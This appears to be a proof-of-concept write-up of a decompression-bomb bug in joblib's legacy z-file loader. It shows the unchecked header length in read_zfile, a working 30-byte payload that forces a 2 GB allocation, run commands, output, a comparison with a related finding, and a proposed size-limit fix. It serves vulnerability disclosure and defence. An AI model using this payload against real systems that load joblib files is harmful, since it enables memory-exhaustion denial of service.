Views
No views yet
MBM7/joblib-zfile-decompression-bomb-pocjoblib (PyPI) — Finding #2, distinct from NumpyArrayWrapper Shape Bombjoblib.load() to allocate 2 GB before
failing — the highest amplification ratio of any joblib finding.| File size | Claimed length in header | Peak allocation | Amplification |
|---|---|---|---|
| 30 bytes | 500,000,000 | 500 MB | 1 : 16,666,666 |
| 30 bytes | 2,000,000,000 | 2,000 MB | 1 : 66,666,666 |
joblib/numpy_pickle_compat.py, read_zfile():1length = file_handle.read(header_length)
2length = length[len(_ZFILE_PREFIX):]
3length = int(length, 16) # ← from file header, NO check
4
5data = zlib.decompress(file_handle.read(), 15, length) # ← bufsize = 2 GB
6assert len(data) == length # fails AFTER the allocationlength is read from the ZF prefix + hex string header with no upper bound
check. zlib.decompress(data, wbits, bufsize) pre-allocates bufsize bytes
before decompression. With length = 2_000_000_000, Python allocates 2 GB
before discovering the actual data is 11 bytes.b'ZF' + hex(length).ljust(19) + zlib_compressed_datajoblib.load() detects the ZF magic and routes the file through
numpy_pickle_compat.read_zfile(), which triggers the allocation.1payload = (
2 b'ZF' +
3 b'0x77359400 ' + # hex(2_000_000_000) padded to 19 chars
4 zlib.compress(b'x', 1) # 11 bytes of valid zlib data
5)
6# Total: 30 bytes1pip install joblib
2python poc_joblib_zfile_bomb.pyFile size : 30 bytes
Amplification : 1:66,666,666
Peak memory : 2000 MB ← alloc before decompression| Finding #1 | Finding #2 | |
|---|---|---|
| File size | 232 bytes | 30 bytes |
| Amplification | 1:8,620,689 | 1:66,666,666 |
| Code path | numpy_pickle.py | numpy_pickle_compat.py |
| Mechanism | np.empty(count) from pickle shape | zlib.decompress(..., bufsize) |
| Format | Current joblib pickle | Legacy z-file format |
1MAX_ZFILE_BYTES = 512 * 1024 * 1024 # configurable
2if length > MAX_ZFILE_BYTES:
3 raise ValueError(
4 f"Z-file header claims {length} decompressed bytes — "
5 "exceeds safety limit. Possible decompression bomb."
6 )| Package | Version |
|---|---|
| joblib | 1.5.3 |
| Python | 3.12 |